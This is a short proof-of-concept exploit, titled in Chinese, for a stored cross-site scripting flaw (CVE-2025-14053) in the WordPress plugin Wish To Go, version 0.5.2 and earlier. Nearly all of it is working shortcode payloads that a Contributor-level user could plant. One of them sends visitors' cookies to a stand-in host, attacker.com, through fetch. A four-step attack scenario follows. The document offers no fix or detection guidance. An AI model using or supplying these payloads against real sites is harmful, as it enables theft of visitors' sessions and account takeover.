CVE-2025-14053 WordPress Wish To Go插件存储型XSS漏洞

// CVE-2025-14053 PoC - Stored XSS via Shortcode // Author: Contributor+ level user // Target: Wish To Go plugin <= 0.5.2 // Method 1: Inject XSS payload via shortcode in post/page content [wish-to-go location="<img src=x onerror=alert(document.cookie)>"] // Method 2: More sophisticated payload [wish-to-go location='" onfocus="alert(String.fromCharCode(88,83,83))" autofocus="'] // Method 3: Using various shortcode attributes [wish-to-go destination="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] // Exploitation scenario: // 1. Attacker with Contributor access creates/edits a post // 2. Inserts malicious shortcode with XSS payload // 3. Post is saved and XSS is stored in database // 4. When victims visit the page, XSS executes automatically